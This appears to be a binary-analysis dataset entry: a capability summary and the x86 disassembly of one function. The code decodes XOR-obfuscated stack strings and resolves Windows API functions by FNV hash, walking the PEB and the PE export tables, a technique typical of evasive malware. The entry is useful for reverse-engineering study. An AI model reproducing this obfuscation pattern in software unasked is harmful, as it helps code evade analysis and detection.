Function at 0x4c25d0
Capabilities:
Access peb ldr_data
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4b8
mov eax, dword [0x4d900c]
xor eax, esp
mov dword [esp + 0x4b4], eax
push esi
push edi
mov eax, dword [ebp + 8]
mov cl, 0x36
mov dword [esp + 0x18], eax
mov dl, 0x20
mov byte [esp + 0x214], 0x45
mov al, 0x30
xor al, byte [esp + 0x214]
mov ah, 0x37
xor cl, byte [esp + 0x214]
mov ch, 0x76
mov byte [esp + 0x215], al
mov dh, 0x77
mov byte [esp + 0x216], cl
mov cl, byte [esp + 0x214]
mov byte [esp + 0x23], 0x6b
xor ah, cl
mov al, byte [esp + 0x23]
xor dl, cl
xor al, cl
mov byte [esp + 0x13], 0x21
mov byte [esp + 0x21b], al
xor ch, cl
mov al, byte [esp + 0x13]
xor dh, cl
xor al, cl
mov byte [esp + 0x12], 0x29
mov byte [esp + 0x21c], al
mov al, byte [esp + 0x12]
xor al, cl
mov byte [esp + 0x11], 0x29
mov byte [esp + 0x21d], al
mov al, byte [esp + 0x11]
xor al, cl
mov byte [esp + 0x218], ah
mov byte [esp + 0x21e], al
mov eax, dword fs:[0x30]
mov byte [esp + 0x21f], 0
mov byte [esp + 0x217], dl
mov byte [esp + 0x219], ch
mov byte [esp + 0x21a], dh
mov byte [esp + 0x21f], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c2728
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c2728
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x2c], ecx
dec edi
mov esi, 0x89febe6c
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c271d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c2700
cmp esi, 0x5918b13e
je 0x4c272c
mov ecx, dword [esp + 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c26e0
mov eax, dword [eax]
jmp 0x4c26b2
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x1c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x215]
add eax, edx
push ecx
call eax
mov dword [0x4d9870], eax
mov cl, 0x6e
mov byte [esp + 0x1e4], 0x1d
mov al, 0x4a
xor al, byte [esp + 0x1e4]
mov dl, 0x2f
xor cl, byte [esp + 0x1e4]
mov ah, 0x42
mov byte [esp + 0x1e5], al
mov dh, dl
mov byte [esp + 0x1e6], cl
mov ch, 0x2e
mov cl, byte [esp + 0x1e4]
mov byte [esp + 0x11], 0x33
xor ah, cl
mov al, byte [esp + 0x11]
xor dl, cl
xor al, cl
mov byte [esp + 0x12], 0x79
mov byte [esp + 0x1eb], al
xor ch, cl
mov al, byte [esp + 0x12]
xor dh, cl
xor al, cl
mov byte [esp + 0x13], 0x71
mov byte [esp + 0x1ec], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0x23], 0x71
mov byte [esp + 0x1ed], al
mov al, byte [esp + 0x23]
xor al, cl
mov byte [esp + 0x1e8], ah
mov byte [esp + 0x1ee], al
mov eax, dword fs:[0x30]
mov byte [esp + 0x1ef], 0
mov byte [esp + 0x1e7], dl
mov byte [esp + 0x1e9], ch
mov byte [esp + 0x1ea], dh
mov byte [esp + 0x1ef], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x2c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c2888
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c2888
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x8eef459c
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c287d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c2860
cmp esi, 0x1cd6168e
je 0x4c288c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c2840
mov eax, dword [eax]
jmp 0x4c2815
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x1e5]
add eax, edx
push ecx
call eax
mov dword [0x4d9868], eax
mov cl, 0x60
mov al, 4
mov byte [esp + 0x90], 0x53
mov dh, al
mov byte [esp + 0x97], 0
xor al, byte [esp + 0x90]
mov ch, 0x30
mov byte [esp + 0x91], al
mov dl, 0x67
mov al, byte [esp + 0x90]
mov ah, 0x1f
xor cl, al
mov byte [esp + 0x97], 0
xor ch, al
mov byte [esp + 0x92], cl
xor dl, al
mov byte [esp + 0x95], ch
xor ah, al
mov byte [esp + 0x93], dl
xor dh, al
mov byte [esp + 0x94], ah
lea ecx, [esp + 0x214]
mov byte [esp + 0x96], dh
call fcn.004b7490
lea ecx, [esp + 0x91]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c2932
sub ecx, edx
lea eax, [esp + 0x91]
push ecx
push eax
lea ecx, [esp + 0x21c]
call fcn.004b7120
mov byte [esp + 0x78], 0x59
mov al, 0x6d
xor al, byte [esp + 0x78]
mov cl, 0xd
mov byte [esp + 0x79], al
mov dl, 0x6b
mov al, byte [esp + 0x78]
mov ah, 0x1e
xor cl, al
mov byte [esp + 0x11], 0x10
mov ch, 0x32
mov byte [esp + 0x7a], cl
xor ch, al
mov byte [esp + 0x80], 0
mov dh, 0x33
mov byte [esp + 0x7d], ch
xor dl, al
mov byte [esp + 0x80], 0
xor ah, al
mov byte [esp + 0x7b], dl
xor dh, al
mov byte [esp + 0x7c], ah
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x1e4]
xor al, byte [esp + 0x78]
mov byte [esp + 0x7e], dh
mov byte [esp + 0x7f], al
call fcn.004b7490
lea ecx, [esp + 0x79]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c29c0
sub ecx, edx
lea eax, [esp + 0x79]
push ecx
push eax
lea ecx, [esp + 0x1ec]
call fcn.004b7120
mov al, 0x1b
mov byte [esp + 0x104], 0x54
mov dl, al
mov byte [esp + 0x10b], 0
xor al, byte [esp + 0x104]
mov ah, 0x2e
mov byte [esp + 0x105], al
mov cl, 0x61
mov al, byte [esp + 0x104]
mov ch, 0x24
xor ah, al
mov byte [esp + 0x10b], 0
xor cl, al
mov byte [esp + 0x108], ah
xor ch, al
mov byte [esp + 0x106], cl
mov dh, 0x2d
mov byte [esp + 0x109], ch
xor dl, al
lea ecx, [esp + 0x14c]
xor dh, al
mov byte [esp + 0x107], dl
lea eax, [esp + 0x17b]
mov byte [esp + 0x10a], dh
push eax
push 1
push 0
lea eax, [esp + 0x220]
push eax
call fcn.004b6890
lea eax, [esp + 0x105]
push eax
lea ecx, [esp + 0x150]
call fcn.004b74b0
lea ecx, [esp + 0x14c]
mov byte [esp + 0x11], al
call fcn.004b5f90
cmp byte [esp + 0x11], 0
je 0x4c2b4e
mov byte [esp + 0xb0], 0x46
mov cl, 0x13
xor cl, byte [esp + 0xb0]
mov al, 0x7f
xor al, byte [esp + 0xb0]
mov ch, 0x29
mov byte [esp + 0xb1], al
mov dl, 0x31
mov byte [esp + 0xb2], cl
mov dh, 0x1c
mov cl, byte [esp + 0xb0]
mov ah, 0x7e
mov byte [esp + 0x11], 0xb
xor dl, cl
mov al, byte [esp + 0x11]
xor ch, cl
xor al, cl
mov byte [esp + 0x12], 0xe
xor dh, cl
mov byte [esp + 0xb7], al
mov al, byte [esp + 0x12]
xor ah, cl
xor al, cl
mov byte [esp + 0xb5], ch
lea ecx, [esp + 0xb1]
mov byte [esp + 0xb9], 0
mov byte [esp + 0xb3], dl
mov byte [esp + 0xb6], dh
lea edx, [ecx + 1]
mov byte [esp + 0xb4], ah
mov byte [esp + 0xb8], al
mov byte [esp + 0xb9], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c2b30
sub ecx, edx
lea eax, [esp + 0xb1]
push ecx
push eax
lea ecx, [esp + 0x1ec]
call fcn.004b6830
lea ecx, [esp + 0x1e4]
call fcn.004b5f90
lea ecx, [esp + 0x214]
call fcn.004b5f90
mov cl, 0x49
mov dword [esp + 0x1b4], 0x3b2c0249
mov dword [esp + 0x1b8], 0x7a252c27
xor eax, eax
mov dword [esp + 0x1bc], 0x252d677b
mov word [esp + 0x1c0], 0x25
xor byte [esp + eax + 0x1b5], cl
inc eax
cmp eax, 0xc
jae 0x4c2bab
mov cl, byte [esp + 0x1b4]
jmp 0x4c2b95
mov eax, dword fs:[0x30]
mov byte [esp + 0x1c1], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [esp + 0x2c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c2c28
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c2c28
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x28b6a5f4
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c2c1d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c2c00
cmp esi, 0x1c9d79b6
je 0x4c2c2c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c2be7
mov eax, dword [eax]
jmp 0x4c2bc0
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x1b5]
add eax, edx
push ecx
call eax
mov dword [0x4d986c], eax
mov dl, 0x31
mov byte [esp + 0x84], 0x5c
mov al, 0x17
xor al, byte [esp + 0x84]
mov ah, dl
mov byte [esp + 0x85], al
mov cl, 0xe
mov al, byte [esp + 0x84]
mov ch, 0xb
xor cl, al
mov byte [esp + 0x11], 0x16
xor ch, al
mov byte [esp + 0x86], cl
mov dh, 0xa
mov byte [esp + 0x89], ch
xor dl, al
mov byte [esp + 0x8c], 0
xor ah, al
mov byte [esp + 0x87], dl
xor dh, al
mov byte [esp + 0x88], ah
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x1e4]
xor al, byte [esp + 0x84]
mov byte [esp + 0x8a], dh
mov byte [esp + 0x8b], al
mov byte [esp + 0x8c], 0
call fcn.004b7490
lea ecx, [esp + 0x85]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c2cf0
sub ecx, edx
lea eax, [esp + 0x85]
push ecx
push eax
lea ecx, [esp + 0x1ec]
call fcn.004b7120
mov al, 0x4d
mov byte [esp + 0xd4], 0x1c
mov byte [esp + 0x12], al
mov cl, 0x5b
xor al, byte [esp + 0xd4]
mov ch, 0x53
xor cl, byte [esp + 0xd4]
mov dl, 0x52
mov byte [esp + 0xd5], al
mov ah, 0x73
mov byte [esp + 0xd6], cl
mov dh, 0x4e
mov cl, byte [esp + 0xd4]
mov byte [esp + 0x11], 0x44
xor ch, cl
mov al, byte [esp + 0x11]
xor dl, cl
xor al, cl
mov byte [esp + 0x13], 0x5f
mov byte [esp + 0xdb], al
xor ah, cl
mov al, byte [esp + 0x12]
xor dh, cl
xor al, cl
mov byte [esp + 0xd9], ch
mov byte [esp + 0xdc], al
mov al, byte [esp + 0x13]
xor al, cl
mov byte [esp + 0xde], 0
lea ecx, [esp + 0x1b4]
mov byte [esp + 0xd7], dl
mov byte [esp + 0xd8], ah
mov byte [esp + 0xda], dh
mov byte [esp + 0xdd], al
mov byte [esp + 0xde], 0
call fcn.004b7490
lea ecx, [esp + 0xd5]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c2dc4
sub ecx, edx
lea eax, [esp + 0xd5]
push ecx
push eax
lea ecx, [esp + 0x1bc]
call fcn.004b7120
mov byte [esp + 0xc8], 0x43
mov al, 0x1a
xor al, byte [esp + 0xc8]
mov cl, 1
mov byte [esp + 0xc9], al
mov dl, 0x77
mov al, byte [esp + 0xc8]
mov ah, 0x7a
xor cl, al
mov byte [esp + 0x11], 8
xor dl, al
mov byte [esp + 0xca], cl
xor ah, al
mov byte [esp + 0xd0], 0
mov ch, 0x17
mov byte [esp + 0xcc], ah
xor ch, al
mov byte [esp + 0xcb], dl
mov dh, 0x39
mov byte [esp + 0xcd], ch
xor dh, al
mov byte [esp + 0xd0], 0
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x14c]
xor al, byte [esp + 0xc8]
mov byte [esp + 0xcf], al
lea eax, [esp + 0x17c]
push eax
push 1
push 0
lea eax, [esp + 0x1f0]
mov byte [esp + 0xda], dh
push eax
call fcn.004b6890
lea eax, [esp + 0xc9]
push eax
lea ecx, [esp + 0x150]
call fcn.004b74b0
lea ecx, [esp + 0x14c]
mov byte [esp + 0x11], al
call fcn.004b5f90
cmp byte [esp + 0x11], 0
je 0x4c2f22
mov byte [esp + 0x30], 9
mov al, 0x61
xor al, byte [esp + 0x30]
mov cl, 0x40
mov byte [esp + 0x31], al
mov dl, 0x60
mov al, byte [esp + 0x30]
mov ch, 0x6b
mov dh, 0x70
mov byte [esp + 0x11], 0x64
xor cl, al
mov byte [esp + 0x38], 0
xor dl, al
mov byte [esp + 0x32], cl
xor ch, al
mov byte [esp + 0x33], dl
xor dh, al
mov byte [esp + 0x35], ch
mov ah, 0x66
mov byte [esp + 0x36], dh
xor ah, al
mov byte [esp + 0x38], 0
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x31]
xor al, byte [esp + 0x30]
lea edx, [ecx + 1]
mov byte [esp + 0x34], ah
mov byte [esp + 0x37], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c2f07
sub ecx, edx
lea eax, [esp + 0x31]
push ecx
push eax
lea ecx, [esp + 0x1bc]
call fcn.004b6830
lea ecx, [esp + 0x1b4]
call fcn.004b5f90
lea ecx, [esp + 0x1e4]
call fcn.004b5f90
mov cl, 0x75
mov dword [esp + 0x124], 0x101d2675
mov dword [esp + 0x128], 0x47461919
xor eax, eax
mov dword [esp + 0x12c], 0x1919115b
mov byte [esp + 0x130], 0
nop word [eax + eax]
xor byte [esp + eax + 0x125], cl
inc eax
cmp eax, 0xb
jae 0x4c2f86
mov cl, byte [esp + 0x124]
jmp 0x4c2f70
mov eax, dword fs:[0x30]
mov byte [esp + 0x130], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x2c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c3008
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c3008
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0xaaa458ad
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c2ffd
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c2fe0
cmp esi, 0xdc5fcf87
je 0x4c300c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c2fc7
mov eax, dword [eax]
jmp 0x4c2fa0
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x125]
add eax, edx
push ecx
call eax
mov byte [esp + 0x3c], 0x4d
mov al, 0x18
xor al, byte [esp + 0x3c]
mov cl, 7
mov byte [esp + 0x3d], al
mov dl, 0x7f
mov al, byte [esp + 0x3c]
mov ah, 0xf
xor cl, al
mov byte [esp + 0x11], 0x3c
mov ch, 0x24
mov byte [esp + 0x3e], cl
xor ch, al
mov byte [esp + 0x44], 0
mov dh, 0x20
mov byte [esp + 0x41], ch
xor dl, al
mov byte [esp + 0x44], 0
xor ah, al
mov byte [esp + 0x3f], dl
xor dh, al
mov byte [esp + 0x40], ah
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x1b4]
xor al, byte [esp + 0x3c]
mov byte [esp + 0x42], dh
mov byte [esp + 0x43], al
call fcn.004b7490
lea ecx, [esp + 0x3d]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c30a0
sub ecx, edx
lea eax, [esp + 0x3d]
push ecx
push eax
lea ecx, [esp + 0x1bc]
call fcn.004b7120
mov byte [esp + 0x48], 0x38
mov al, 0x57
xor al, byte [esp + 0x48]
xor cl, cl
mov byte [esp + 0x49], al
mov dl, 0x59
mov al, byte [esp + 0x48]
mov ch, 0x6a
mov dh, 0xb
mov byte [esp + 0x50], cl
xor cl, al
mov byte [esp + 0x11], 0x75
xor dl, al
mov byte [esp + 0x4a], cl
xor ch, al
mov byte [esp + 0x4b], dl
xor dh, al
mov byte [esp + 0x4d], ch
mov ah, 0x5f
mov byte [esp + 0x4e], dh
xor ah, al
mov byte [esp + 0x50], 0
mov al, byte [esp + 0x11]
lea ecx, [esp + 0x49]
xor al, byte [esp + 0x48]
lea edx, [ecx + 1]
mov byte [esp + 0x4c], ah
mov byte [esp + 0x4f], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c3117
sub ecx, edx
lea eax, [esp + 0x49]
push ecx
push eax
lea ecx, [esp + 0x1bc]
call fcn.004b6830
mov byte [esp + 0x98], 0x79
mov al, 0x4d
xor al, byte [esp + 0x98]
mov cl, 0x4c
mov ch, 0xd
mov byte [esp + 0x99], al
mov al, byte [esp + 0x98]
mov dl, 0x18
xor cl, al
mov byte [esp + 0x9f], 0
xor ch, al
mov byte [esp + 0x9a], cl
mov ah, 0x3b
mov byte [esp + 0x9d], ch
mov dh, 0x3a
mov byte [esp + 0x9f], 0
xor dl, al
lea ecx, [esp + 0x99]
xor ah, al
mov byte [esp + 0x9b], dl
xor dh, al
mov byte [esp + 0x9c], ah
mov byte [esp + 0x9e], dh
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c31a2
sub ecx, edx
lea eax, [esp + 0x99]
push ecx
push eax
lea ecx, [esp + 0x1bc]
call fcn.004b6830
lea ecx, [esp + 0x1b4]
call fcn.004b5f90
mov cl, 0xa
mov dword [esp + 0x134], 0x636e4d0a
mov dword [esp + 0x138], 0x797f667a
xor eax, eax
mov dword [esp + 0x13c], 0x66666e24
mov byte [esp + 0x140], 0
nop dword [eax]
xor byte [esp + eax + 0x135], cl
inc eax
cmp eax, 0xb
jae 0x4c3216
mov cl, byte [esp + 0x134]
jmp 0x4c3200
mov eax, dword fs:[0x30]
mov byte [esp + 0x140], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x2c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c3298
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c3298
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x9469b25b
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c328d
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c3270
cmp esi, 0x226f40bd
je 0x4c329c
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c3257
mov eax, dword [eax]
jmp 0x4c3230
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x135]
add eax, edx
push ecx
call eax
mov byte [esp + 0x10c], 0x37
mov cl, 0x53
mov al, 0x70
mov byte [esp + 0x11], cl
xor al, byte [esp + 0x10c]
mov ah, 4
xor cl, byte [esp + 0x10c]
mov dl, 0x5e
mov byte [esp + 0x10d], al
mov ch, 5
mov al, byte [esp + 0x11]
mov dh, 0x19
mov byte [esp + 0x10e], cl
mov cl, byte [esp + 0x10c]
xor al, cl
mov byte [esp + 0x12], 0x5b
mov byte [esp + 0x113], al
xor ah, cl
mov al, byte [esp + 0x12]
xor dl, cl
xor al, cl
mov byte [esp + 0x13], 0x5b
mov byte [esp + 0x114], al
xor ch, cl
mov al, byte [esp + 0x13]
xor dh, cl
xor al, cl
mov byte [esp + 0x110], ah
mov byte [esp + 0x115], al
mov eax, dword fs:[0x30]
mov byte [esp + 0x116], 0
mov byte [esp + 0x10f], dl
mov byte [esp + 0x111], ch
mov byte [esp + 0x112], dh
mov byte [esp + 0x116], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x2c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c33d8
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c33d8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0xdb14181e
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c33cd
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c33b0
cmp esi, 0xa99a9a70
je 0x4c33dc
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c3397
mov eax, dword [eax]
jmp 0x4c3370
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x10d]
add eax, edx
push ecx
call eax
mov dword [0x4d9880], eax
mov cl, 0x25
mov dword [esp + 0x1cc], 0x53416425
xor eax, eax
mov dword [esp + 0x1d0], 0x164c5544
mov dword [esp + 0x1d4], 0x49410b17
mov word [esp + 0x1d8], 0x49
xor byte [esp + eax + 0x1cd], cl
inc eax
cmp eax, 0xc
jae 0x4c344b
mov cl, byte [esp + 0x1cc]
jmp 0x4c3435
mov eax, dword fs:[0x30]
mov byte [esp + 0x1d9], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [esp + 0x2c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c34c8
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c34c8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0xe57aedd9
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c34bd
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c34a0
cmp esi, 0xfb458193
je 0x4c34cc
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c3487
mov eax, dword [eax]
jmp 0x4c3460
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x1cd]
add eax, edx
push ecx
call eax
movaps xmm0, xmmword [str.5TE_]
xor ecx, ecx
movups xmmword [esp + 0x14c], xmm0
mov dword [0x4d9878], eax
movaps xmm0, xmmword [0x4d4e40]
movups xmmword [esp + 0x15c], xmm0
mov word [esp + 0x16c], 0x5959
mov byte [esp + 0x16e], 0
nop dword [eax + eax]
mov al, byte [esp + 0x14c]
xor byte [esp + ecx + 0x14d], al
inc ecx
cmp ecx, 0x21
jb 0x4c3530
mov eax, dword fs:[0x30]
mov byte [esp + 0x16e], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x2c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [esp + 0x28], ecx
cmp ecx, esi
je 0x4c35c8
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4c35c8
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [esp + 0x1c], ecx
dec edi
mov esi, 0x4857b03e
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4c35bd
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4c35a0
cmp esi, 0x9a5b650
je 0x4c35cc
mov ecx, dword [esp + 0x1c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4c3587
mov eax, dword [eax]
jmp 0x4c3560
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x14d]
add eax, edx
push ecx
call eax
mov edx, dword [0x4d986c]
xor edi, edi
mov dword [0x4d987c], eax
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x1c], eax
mov esi, dword [eax + 0x20]
add esi, edx
mov ecx, dword [esi]
add ecx, edx
mov edx, 0x718f8c3c
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c363d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c3620
cmp edx, 0x71ecd2a6
je 0x4c3649
mov edx, dword [0x4d986c]
inc edi
add esi, 4
jmp 0x4c3610
mov eax, dword [esp + 0x1c]
mov edx, dword [0x4d986c]
push 0x104
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 0x2b4]
push ecx
add eax, edx
push 0
call eax
lea ecx, [esp + 0x22c]
call fcn.004b7490
lea ecx, [esp + 0x2b0]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4c3690
sub ecx, edx
lea eax, [esp + 0x2b0]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0x234]
call fcn.004b6ff0
mov edi, dword [esp + 0x23c]
mov cl, 0x2c
push 0xffffffffffffffff
sub esp, 0x18
mov byte [esp + 0x40], cl
mov al, 0x70
mov byte [esp + 0x42], 0
xor al, cl
mov byte [esp + 0x42], 0
mov esi, esp
mov byte [esp + 0x41], al
mov ecx, esi
call fcn.004b7490
lea ecx, [esp + 0x41]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4c36e8
sub ecx, edx
lea eax, [esp + 0x41]
push ecx
push eax
mov ecx, esi
call fcn.004b7120
lea ecx, [esp + 0x1e8]
call fcn.004c00f0
